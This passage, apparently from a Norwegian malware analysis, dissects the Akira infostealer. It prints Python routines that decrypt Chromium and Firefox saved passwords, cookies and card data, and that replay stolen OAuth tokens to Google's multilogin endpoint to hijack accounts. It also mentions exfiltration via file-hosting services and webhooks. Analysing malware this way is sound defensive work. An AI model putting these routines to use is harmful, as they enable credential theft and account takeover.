cookies.append((host, name, path, cookie_val, expiry))\n",[604,6641,6642,6650,6658,6666],{},[607,6643,6644,6466,6647,6649],{},[540,6645,6646],{},"Skanner",[551,6648,6324],{},"-SQLite-database.",[607,6651,6652,1538,6655,586],{},[540,6653,6654],{},"Velger",[551,6656,6657],{},"host_key, name, path, encrypted_value, expires_utc",[607,6659,6660,6466,6662,6665],{},[540,6661,6492],{},[551,6663,6664],{},"encrypted_value","-blob for å avdekke den faktiske cookie-strengen.",[607,6667,6668,2032,6671,586],{},[540,6669,6670],{},"Lagrer",[551,6672,6673],{},"Cookies/\u003CBrowserName> Cookies.txt",[862,6675,6677,6678,1113],{"id":6676},"_745-google-sesjonsdumper-chromiumdump_google_sessions","7.4.5 Google-sesjonsdumper (",[551,6679,6680],{},"Chromium.dump_google_sessions",[533,6682,868],{},[533,6684,6685],{},"Denne rutinen, en av de mer avanserte komponentene, dekrypterer lagrede OAuth-tokens fra tabellen token_service. Ved å spille dem av på nytt mot Googles multilogin-endepunkt kan malwaren gjenskape aktive sesjonscookies, slik at angripere kan kapre Google-kontoer uten credentials. Det illustrerer hvordan access tokens har blitt et førstevalgsmål i moderne stealere.",[588,6687,6689],{"className":4490,"code":6688,"language":4492,"meta":594,"style":594},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[551,6690,6691,6696,6701,6706,6711,6716,6721,6726,6731,6736,6741,6746,6750],{"__ignoreMap":594},[1683,6692,6693],{"class":1685,"line":1686},[1683,6694,6695],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1683,6697,6698],{"class":1685,"line":2062},[1683,6699,6700],{},"for service, blob in cursor.fetchall():\n",[1683,6702,6703],{"class":1685,"line":2068},[1683,6704,6705],{},"    iv = blob[3:15]\n",[1683,6707,6708],{"class":1685,"line":2074},[1683,6709,6710],{},"    ciphertext = blob[15:-16]\n",[1683,6712,6713],{"class":1685,"line":2394},[1683,6714,6715],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1683,6717,6718],{"class":1685,"line":2400},[1683,6719,6720],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1683,6722,6723],{"class":1685,"line":3058},[1683,6724,6725],{},"    # Replays via POST to OAuth endpoint\n",[1683,6727,6728],{"class":1685,"line":3854},[1683,6729,6730],{},"    response = requests.post(\n",[1683,6732,6733],{"class":1685,"line":3860},[1683,6734,6735],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1683,6737,6738],{"class":1685,"line":4105},[1683,6739,6740],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1683,6742,6743],{"class":1685,"line":5029},[1683,6744,6745],{},"        data={\"source\": \"com.google.Drive\"}\n",[1683,6747,6748],{"class":1685,"line":5035},[1683,6749,5960],{},[1683,6751,6752],{"class":1685,"line":5041},[1683,6753,6754],{},"    save each account’s cookies to file\n",[604,6756,6757,6772,6782,6792],{},[607,6758,6759,1538,6762,6765,6766,6769,6770,586],{},[540,6760,6761],{},"Henter",[551,6763,6764],{},"service"," og den rå ",[551,6767,6768],{},"encrypted_token"," fra klonen av ",[551,6771,561],{},[607,6773,6774,6777,6778,6781],{},[540,6775,6776],{},"AES-GCM-dekryptering"," med nettleserens ",[551,6779,6780],{},"Local State","-nøkkel.",[607,6783,6784,6787,6788,6791],{},[540,6785,6786],{},"Spiller av"," de dekrypterte tokenene i en POST mot Googles ",[551,6789,6790],{},"multilogin","-API for å rekonstruere gyldige OAuth-cookies.",[607,6793,6794,6796,6797,586],{},[540,6795,6509],{}," sesjonsfiler per konto under ",[551,6798,6799],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[862,6801,6803,6804,1113],{"id":6802},"_746-historikkdumper-chromiumgethistory","7.4.6 Historikkdumper (",[551,6805,6806],{},"Chromium.GetHistory",[533,6808,868],{},[533,6810,6811],{},"Denne funksjonen henter ut oppføringer fra nettleserhistorikken, inkludert URL, tittel og besøksfrekvens. Utover selve personverninngrepet hjelper dataene angripere med å forstå offerets atferd, finne høyverdige mål som bankportaler eller skreddersy payloads for social engineering.",[588,6813,6815],{"className":4490,"code":6814,"language":4492,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[551,6816,6817,6821,6826,6830,6835],{"__ignoreMap":594},[1683,6818,6819],{"class":1685,"line":1686},[1683,6820,6535],{},[1683,6822,6823],{"class":1685,"line":2062},[1683,6824,6825],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1683,6827,6828],{"class":1685,"line":2068},[1683,6829,6545],{},[1683,6831,6832],{"class":1685,"line":2074},[1683,6833,6834],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1683,6836,6837],{"class":1685,"line":2394},[1683,6838,6839],{},"return [(url, title, count) for url, title, count, _ in history]\n",[604,6841,6842,6853,6863],{},[607,6843,6844,1538,6846,6849,6850,6852],{},[540,6845,6654],{},[551,6847,6848],{},"url, title, visit_count, last_visit_time"," fra hver ",[551,6851,6376],{},"-database.",[607,6854,6855,6858,6859,6862],{},[540,6856,6857],{},"Sorterer"," oppføringene etter ",[551,6860,6861],{},"last_visit_time"," synkende.",[607,6864,6865,1538,6868,586],{},[540,6866,6867],{},"Skriver ut",[551,6869,6870],{},"History/\u003CBrowserName> History.txt",[862,6872,6874,6875,1113],{"id":6873},"_747-autofyll-dumper-chromiumgetautofills","7.4.7 Autofyll-dumper (",[551,6876,6877],{},"Chromium.GetAutofills",[533,6879,868],{},[533,6881,6882],{},"Autofyll-oppføringer som adresser, navn, e-postadresser og noen ganger betalingsrelaterte data hentes ut fra nettleserens Web Data-lager. Verdiene kan virke uviktige hver for seg, men samlet gir de en rik profil av offerets identitet og atferd.",[588,6884,6886],{"className":4490,"code":6885,"language":4492,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[551,6887,6888,6892,6897,6901,6906],{"__ignoreMap":594},[1683,6889,6890],{"class":1685,"line":1686},[1683,6891,6535],{},[1683,6893,6894],{"class":1685,"line":2062},[1683,6895,6896],{},"    \"SELECT name, value FROM autofill\"\n",[1683,6898,6899],{"class":1685,"line":2068},[1683,6900,6545],{},[1683,6902,6903],{"class":1685,"line":2074},[1683,6904,6905],{},"for field, value in results:\n",[1683,6907,6908],{"class":1685,"line":2394},[1683,6909,6910],{},"    autofills.append((field.strip(), value.strip()))\n",[604,6912,6913,6925],{},[607,6914,6915,6917,6918,6921,6922,586],{},[540,6916,6761],{}," skjemaoppføringer: ",[551,6919,6920],{},"name, value"," fra filen ",[551,6923,6924],{},"web data",[607,6926,6927,6929,6930,586],{},[540,6928,6509],{}," dem ut som ",[551,6931,6932],{},"Autofill/\u003CBrowserName> Autofill.txt",[862,6934,6936,6937,6939,6940,1113],{"id":6935},"_748-innsamler-for-firefox-profiler-geckodriver-grabfirefoxprofiles","7.4.8 Innsamler for Firefox-profiler (",[551,6938,6250],{}," & ",[551,6941,6942],{},"grabFirefoxProfiles",[533,6944,868],{},[533,6946,6947],{},"Til forskjell fra de finmaskede Chromium-rutinene velger denne funksjonen en bred tilnærming: den komprimerer hele Firefox-profilkatalogen, inkludert lagrede pålogginger, cookies og bokmerker, og eksfiltrerer den i sin helhet. Det sikrer at angripere kan analysere eller hente ut data offline og omgå dekrypteringshindre med kjent NSS-verktøy.",[588,6949,6951],{"className":4490,"code":6950,"language":4492,"meta":594,"style":594},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[551,6952,6953,6958,6963,6968],{"__ignoreMap":594},[1683,6954,6955],{"class":1685,"line":1686},[1683,6956,6957],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1683,6959,6960],{"class":1685,"line":2062},[1683,6961,6962],{},"    for root, dirs, files in os.walk(source_path):\n",[1683,6964,6965],{"class":1685,"line":2068},[1683,6966,6967],{},"        zipf.write(each file)\n",[1683,6969,6970],{"class":1685,"line":2074},[1683,6971,6972],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[604,6974,6975,6984,6994],{},[607,6976,6977,6980,6981,586],{},[540,6978,6979],{},"Zipper"," hele katalogen ",[551,6982,6983],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles",[607,6985,6986,6989,6990,6993],{},[540,6987,6988],{},"Navngir"," den ",[551,6991,6992],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," og sender nedlastingslenken via de samme webhook-kanalene.",[607,6995,6996,6999,7000,620,7003,620,7006,7009],{},[540,6997,6998],{},"Kaller"," også de samme SQLite-baserte uthentingsfunksjonene (",[551,7001,7002],{},"logins.json",[551,7004,7005],{},"cookies.sqlite",[551,7007,7008],{},"places.sqlite",") mot hver Firefox-profil, med NSS-dekrypteringsrutinene som allerede finnes.",[862,7011,7013],{"id":7012},"_749-oppsummering-av-uthentingen","7.4.9 Oppsummering av uthentingen",[533,7015,868],{},[533,7017,7018,7019,620,7021,620,7023,620,7025,558,7027,7030,7031,7034,7035,7037,7038,620,7040,558,7042,7044,7045,7048],{},"Astor.py orkestrerer en gjennomgripende kompromittering av nettleseren ved systematisk å høste hver credential og hver sesjonsartefakt på tvers av Chromium-baserte klienter og Firefox-klienter. Den finner og kopierer trygt hvert SQLite-lager, altså ",[551,7020,557],{},[551,7022,561],{},[551,7024,6324],{},[551,7026,6376],{},[551,7028,7029],{},"autofill",", og kjører deretter målrettede SQL-spørringer for å hente ut URL-er, brukernavn, passord, kredittkortdetaljer, cookies, nettleserhistorikk og skjemaoppføringer. Passord og betalingsdata dekrypteres via AES-GCM (eller Windows DPAPI som fallback), og cookies pakkes ut på samme måte for å avdekke klartekstverdiene. For Google-kontoer dekrypteres krypterte OAuth-tokens fra ",[551,7032,7033],{},"token_service"," og spilles av på nytt mot ",[551,7036,6790],{},"-API-et for å gjenskape levende sesjonscookies. Til slutt arkiveres Firefox-profiler i sin helhet (inkludert ",[551,7039,7002],{},[551,7041,7005],{},[551,7043,7008],{},") og leveres som ZIP-filer, slik at ingen artefakt blir liggende igjen. Hele denne pipelinen kjører stille under ",[551,7046,7047],{},"%TEMP%\\\u003CComputerName>"," og produserer ryddig organiserte utdatafiler for hver datakategori.",[714,7050,7052],{"id":7051},"_75-dekrypteringslogikk","7.5 Dekrypteringslogikk",[533,7054,720],{},[533,7056,7057],{},"Moderne nettlesere som Chrome og Edge krypterer sensitive data, for eksempel passord, cookies og kredittkortdetaljer, før de lagres lokalt. Akira har innebygde dekrypteringsrutiner som er tilpasset både eldre og nåværende krypteringsmetoder i Chromium. Dermed kan den hente ut klartekstdata uansett patchenivå på systemet eller nettleserversjon.",[533,7059,7060],{},"Kjernen i prosessen er å hente ut og dekryptere nettleserens hovedkrypteringsnøkkel, som ligger lagret i en fil som heter Local State. Avhengig av nettleserversjon og Windows-build velger Akira dynamisk den passende dekrypteringsmetoden:",[533,7062,7063],{},"DPAPI (Data Protection API) brukes på eldre systemer, der Chrome lagrer hemmeligheter beskyttet av Windows-credentials til den innloggede brukeren.",[533,7065,7066],{},"AES-GCM brukes i moderne Chromium-builds, der en tilfeldig generert hovednøkkel selv krypteres med DPAPI og deretter brukes til kryptering av brukerdata inne i appen.",[533,7068,7069],{},"Ved først å dekryptere hovednøkkelen i Local State får Akira mulighet til å låse opp alle hemmelighetene i nettleseren, og det baner vei for uthenting av credentials, tokens, cookies og mer.",[533,7071,7072],{},[540,7073,7074],{},"Nøkkeluthenting",[588,7076,7078],{"className":4490,"code":7077,"language":4492,"meta":594,"style":594},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[551,7079,7080,7085,7090,7095],{"__ignoreMap":594},[1683,7081,7082],{"class":1685,"line":1686},[1683,7083,7084],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1683,7086,7087],{"class":1685,"line":2062},[1683,7088,7089],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1683,7091,7092],{"class":1685,"line":2068},[1683,7093,7094],{},"    local_state = json.load(f)\n",[1683,7096,7097],{"class":1685,"line":2074},[1683,7098,7099],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[533,7101,7102],{},[540,7103,7104],{},"Dekryptering (AES-GCM):",[588,7106,7108],{"className":4490,"code":7107,"language":4492,"meta":594,"style":594},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[551,7109,7110,7115,7120,7125,7130],{"__ignoreMap":594},[1683,7111,7112],{"class":1685,"line":1686},[1683,7113,7114],{},"nonce = value[3:15]\n",[1683,7116,7117],{"class":1685,"line":2062},[1683,7118,7119],{},"ciphertext = value[15:-16]\n",[1683,7121,7122],{"class":1685,"line":2068},[1683,7123,7124],{},"tag = value[-16:]\n",[1683,7126,7127],{"class":1685,"line":2074},[1683,7128,7129],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1683,7131,7132],{"class":1685,"line":2394},[1683,7133,7134],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[533,7136,7137,7138,586],{},"Er fallback til DPAPI nødvendig (på eldre systemer), brukes ",[551,7139,7140],{},"win32crypt.CryptUnprotectData()",[533,7142,7143,7149],{},[540,7144,7145,7146,1173],{},"Forklaring av ",[551,7147,7148],{},"decrypt_password_blob","\nDenne funksjonen viser hvordan Akira Stealer dekrypterer hver lagret passordverdi fra Chromium-baserte nettlesere. Den håndterer to tilfeller:",[2082,7151,7152,7162],{},[607,7153,7154,7157,7158,7161],{},[540,7155,7156],{},"Windows DPAPI-blober"," (eldre eller ikke-GCM-krypterte data): Faller tilbake på systemkallet ",[551,7159,7160],{},"CryptUnprotectData",", som bruker Windows-credentials til brukeren for å dekryptere.",[607,7163,7164,7167,7168,7171],{},[540,7165,7166],{},"AES-GCM-krypterte blober"," (Chrome v10/v11-format): Tolker versjonsheaderen, henter ut IV og autentiseringstaggen, og bruker biblioteket ",[551,7169,7170],{},"cryptography"," til å dekryptere payloaden trygt.",[588,7173,7175],{"className":4490,"code":7174,"language":4492,"meta":594,"style":594},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[551,7176,7177,7182,7187,7191,7195,7200,7204,7209,7213,7218,7223,7228,7232,7237,7242,7246,7251,7256,7261,7266,7270,7275,7280,7285,7290,7295,7300,7305,7310,7315,7319,7324,7329,7334,7339,7344,7348,7353,7357,7362,7367,7371,7376],{"__ignoreMap":594},[1683,7178,7179],{"class":1685,"line":1686},[1683,7180,7181],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1683,7183,7184],{"class":1685,"line":2062},[1683,7185,7186],{},"from cryptography.hazmat.backends import default_backend\n",[1683,7188,7189],{"class":1685,"line":2068},[1683,7190,3851],{"emptyLinePlaceholder":325},[1683,7192,7193],{"class":1685,"line":2074},[1683,7194,3851],{"emptyLinePlaceholder":325},[1683,7196,7197],{"class":1685,"line":2394},[1683,7198,7199],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1683,7201,7202],{"class":1685,"line":2400},[1683,7203,5834],{},[1683,7205,7206],{"class":1685,"line":3058},[1683,7207,7208],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1683,7210,7211],{"class":1685,"line":3854},[1683,7212,3851],{"emptyLinePlaceholder":325},[1683,7214,7215],{"class":1685,"line":3860},[1683,7216,7217],{},"    Parameters:\n",[1683,7219,7220],{"class":1685,"line":4105},[1683,7221,7222],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1683,7224,7225],{"class":1685,"line":5029},[1683,7226,7227],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1683,7229,7230],{"class":1685,"line":5035},[1683,7231,3851],{"emptyLinePlaceholder":325},[1683,7233,7234],{"class":1685,"line":5041},[1683,7235,7236],{},"    Returns:\n",[1683,7238,7239],{"class":1685,"line":5047},[1683,7240,7241],{},"    - Decrypted UTF-8 plaintext password\n",[1683,7243,7244],{"class":1685,"line":5053},[1683,7245,5834],{},[1683,7247,7248],{"class":1685,"line":5059},[1683,7249,7250],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1683,7252,7253],{"class":1685,"line":5065},[1683,7254,7255],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1683,7257,7258],{"class":1685,"line":5071},[1683,7259,7260],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1683,7262,7263],{"class":1685,"line":5077},[1683,7264,7265],{},"        return CryptUnprotectData(buffer)\n",[1683,7267,7268],{"class":1685,"line":5083},[1683,7269,3851],{"emptyLinePlaceholder":325},[1683,7271,7272],{"class":1685,"line":5089},[1683,7273,7274],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1683,7276,7277],{"class":1685,"line":5095},[1683,7278,7279],{},"    # Bytes layout:\n",[1683,7281,7282],{"class":1685,"line":5101},[1683,7283,7284],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1683,7286,7287],{"class":1685,"line":5107},[1683,7288,7289],{},"    # [3:15]   = initialization vector (IV)\n",[1683,7291,7292],{"class":1685,"line":5113},[1683,7293,7294],{},"    # [15:-16] = ciphertext payload\n",[1683,7296,7297],{"class":1685,"line":5780},[1683,7298,7299],{},"    # [-16:]   = GCM authentication tag\n",[1683,7301,7302],{"class":1685,"line":5785},[1683,7303,7304],{},"    iv = buffer[3:15]\n",[1683,7306,7307],{"class":1685,"line":5790},[1683,7308,7309],{},"    ciphertext = buffer[15:-16]\n",[1683,7311,7312],{"class":1685,"line":5795},[1683,7313,7314],{},"    tag = buffer[-16:]\n",[1683,7316,7317],{"class":1685,"line":5801},[1683,7318,3851],{"emptyLinePlaceholder":325},[1683,7320,7321],{"class":1685,"line":5806},[1683,7322,7323],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1683,7325,7326],{"class":1685,"line":5811},[1683,7327,7328],{},"    cipher = Cipher(\n",[1683,7330,7331],{"class":1685,"line":5816},[1683,7332,7333],{},"        algorithms.AES(key),\n",[1683,7335,7336],{"class":1685,"line":5821},[1683,7337,7338],{},"        modes.GCM(iv, tag),\n",[1683,7340,7341],{"class":1685,"line":5826},[1683,7342,7343],{},"        backend=default_backend()\n",[1683,7345,7346],{"class":1685,"line":5831},[1683,7347,5960],{},[1683,7349,7350],{"class":1685,"line":5837},[1683,7351,7352],{},"    decryptor = cipher.decryptor()\n",[1683,7354,7355],{"class":1685,"line":5843},[1683,7356,3851],{"emptyLinePlaceholder":325},[1683,7358,7359],{"class":1685,"line":5849},[1683,7360,7361],{},"    # Perform decryption; raises if authentication fails\n",[1683,7363,7364],{"class":1685,"line":5854},[1683,7365,7366],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1683,7368,7369],{"class":1685,"line":5859},[1683,7370,3851],{"emptyLinePlaceholder":325},[1683,7372,7373],{"class":1685,"line":5864},[1683,7374,7375],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1683,7377,7378],{"class":1685,"line":5869},[1683,7379,7380],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[714,7382,7384],{"id":7383},"_76-kapring-av-sesjonstokens","7.6 Kapring av sesjonstokens",[533,7386,720],{},[533,7388,7389,7390,7393],{},"Akira stopper ikke ved passiv datainnsamling. Den kaprer aktivt levende sesjonstokens for å utgi seg for å være offeret i sanntid. Etter å ha hentet ut krypterte tokens fra nettleserens lagring bygger den den nødvendige autorisasjonsheaderen og spiller av en ",[540,7391,7392],{},"MultiLogin","-forespørsel mot Googles OAuth-endepunkt. Kodeutdraget under viser prosessen:",[588,7395,7397],{"className":4490,"code":7396,"language":4492,"meta":594,"style":594},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[551,7398,7399,7404,7409,7414,7419,7424,7429,7434,7439,7444,7448,7453,7458,7463,7468,7473,7477,7482,7487],{"__ignoreMap":594},[1683,7400,7401],{"class":1685,"line":1686},[1683,7402,7403],{},"# Build SAPISIDHASH header for Google services\n",[1683,7405,7406],{"class":1685,"line":2062},[1683,7407,7408],{},"origin = \"https://accounts.google.com\"\n",[1683,7410,7411],{"class":1685,"line":2068},[1683,7412,7413],{},"timestamp = int(time.time())\n",[1683,7415,7416],{"class":1685,"line":2074},[1683,7417,7418],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1683,7420,7421],{"class":1685,"line":2394},[1683,7422,7423],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1683,7425,7426],{"class":1685,"line":2400},[1683,7427,7428],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1683,7430,7431],{"class":1685,"line":3058},[1683,7432,7433],{},"headers = {\n",[1683,7435,7436],{"class":1685,"line":3854},[1683,7437,7438],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1683,7440,7441],{"class":1685,"line":3860},[1683,7442,7443],{},"    \"Content-Type\": \"application/json\"\n",[1683,7445,7446],{"class":1685,"line":4105},[1683,7447,2403],{},[1683,7449,7450],{"class":1685,"line":5029},[1683,7451,7452],{},"# Replay MultiLogin to fetch valid session cookies\n",[1683,7454,7455],{"class":1685,"line":5035},[1683,7456,7457],{},"response = requests.post(\n",[1683,7459,7460],{"class":1685,"line":5041},[1683,7461,7462],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1683,7464,7465],{"class":1685,"line":5047},[1683,7466,7467],{},"    headers=headers,\n",[1683,7469,7470],{"class":1685,"line":5053},[1683,7471,7472],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1683,7474,7475],{"class":1685,"line":5059},[1683,7476,5248],{},[1683,7478,7479],{"class":1685,"line":5065},[1683,7480,7481],{},"if response.status_code == 200:\n",[1683,7483,7484],{"class":1685,"line":5071},[1683,7485,7486],{},"    # Victim’s cookies now present in response.cookies\n",[1683,7488,7489],{"class":1685,"line":5077},[1683,7490,7491],{},"    hijacked_cookies = response.cookies\n",[533,7493,7494],{},"Ved å spille av denne forespørselen kan Akira utgi seg for å være brukerens Gmail, Drive eller en hvilken som helst annen Google-tjeneste som beskyttes av en gyldig sesjon, helt uten credentials. Teknikken utnytter Googles egen logikk for å godta tokens, og det gjør den nesten umulig å skille fra legitim klientatferd.",[714,7496,7498],{"id":7497},"_77-firefox-dekryptering","7.7 Firefox-dekryptering",[533,7500,720],{},[533,7502,7503,7504,7507],{},"Gecko-baserte nettlesere som Firefox krypterer lagrede credentials og cookies med en hovednøkkel som ligger i ",[551,7505,7506],{},"key4.db",". Akira har en nedstrippet dekrypteringsrutine som speiler NSS-logikken til Mozilla, og som håndterer både 3DES- og AES-CBC-varianter uten å utløse forespørselen om hovedpassord. Eksempel på bruk:",[588,7509,7511],{"className":4490,"code":7510,"language":4492,"meta":594,"style":594},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[551,7512,7513,7518,7523,7528,7533,7538,7542,7547,7552,7557,7562,7567,7572,7577,7582,7587,7592,7596],{"__ignoreMap":594},[1683,7514,7515],{"class":1685,"line":1686},[1683,7516,7517],{},"# Load global Salt and encrypted item from key4.db\n",[1683,7519,7520],{"class":1685,"line":2062},[1683,7521,7522],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1683,7524,7525],{"class":1685,"line":2068},[1683,7526,7527],{},"cursor = db.cursor()\n",[1683,7529,7530],{"class":1685,"line":2074},[1683,7531,7532],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1683,7534,7535],{"class":1685,"line":2394},[1683,7536,7537],{},"global_salt, item2 = cursor.fetchone()\n",[1683,7539,7540],{"class":1685,"line":2400},[1683,7541,3851],{"emptyLinePlaceholder":325},[1683,7543,7544],{"class":1685,"line":3058},[1683,7545,7546],{},"# Decode DER structure and derive key\n",[1683,7548,7549],{"class":1685,"line":3854},[1683,7550,7551],{},"decoded, _ = der_decode(item2)\n",[1683,7553,7554],{"class":1685,"line":3860},[1683,7555,7556],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1683,7558,7559],{"class":1685,"line":4105},[1683,7560,7561],{},"cipher_text = decoded[1].asOctets()\n",[1683,7563,7564],{"class":1685,"line":5029},[1683,7565,7566],{},"# Derive 3DES key\n",[1683,7568,7569],{"class":1685,"line":5035},[1683,7570,7571],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1683,7573,7574],{"class":1685,"line":5041},[1683,7575,7576],{},"iv = decoded[0][1][1].asOctets()\n",[1683,7578,7579],{"class":1685,"line":5047},[1683,7580,7581],{},"# Decrypt credentials\n",[1683,7583,7584],{"class":1685,"line":5053},[1683,7585,7586],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1683,7588,7589],{"class":1685,"line":5059},[1683,7590,7591],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1683,7593,7594],{"class":1685,"line":5065},[1683,7595,3851],{"emptyLinePlaceholder":325},[1683,7597,7598],{"class":1685,"line":5071},[1683,7599,7600],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[533,7602,7603,7604,620,7606,558,7608,7610],{},"Med denne rutinen kan Akira dumpe ",[551,7605,7002],{},[551,7607,7005],{},[551,7609,7008],{}," for hver Firefox-profil transparent, og skrive de dekrypterte utdataene til:",[588,7612,7615],{"className":7613,"code":7614,"language":593},[591],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[551,7616,7614],{"__ignoreMap":594},[533,7618,7619],{},"Metoden går rundt sjekkene av hovedpassord på brukernivå, og gir stealeren uhindret tilgang til alle lagrede credentials.*",[533,7621,7622],{},[540,7623,7624],{},"4. Filstruktur og navngivning",[588,7626,7629],{"className":7627,"code":7628,"language":593,"meta":594},[591],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   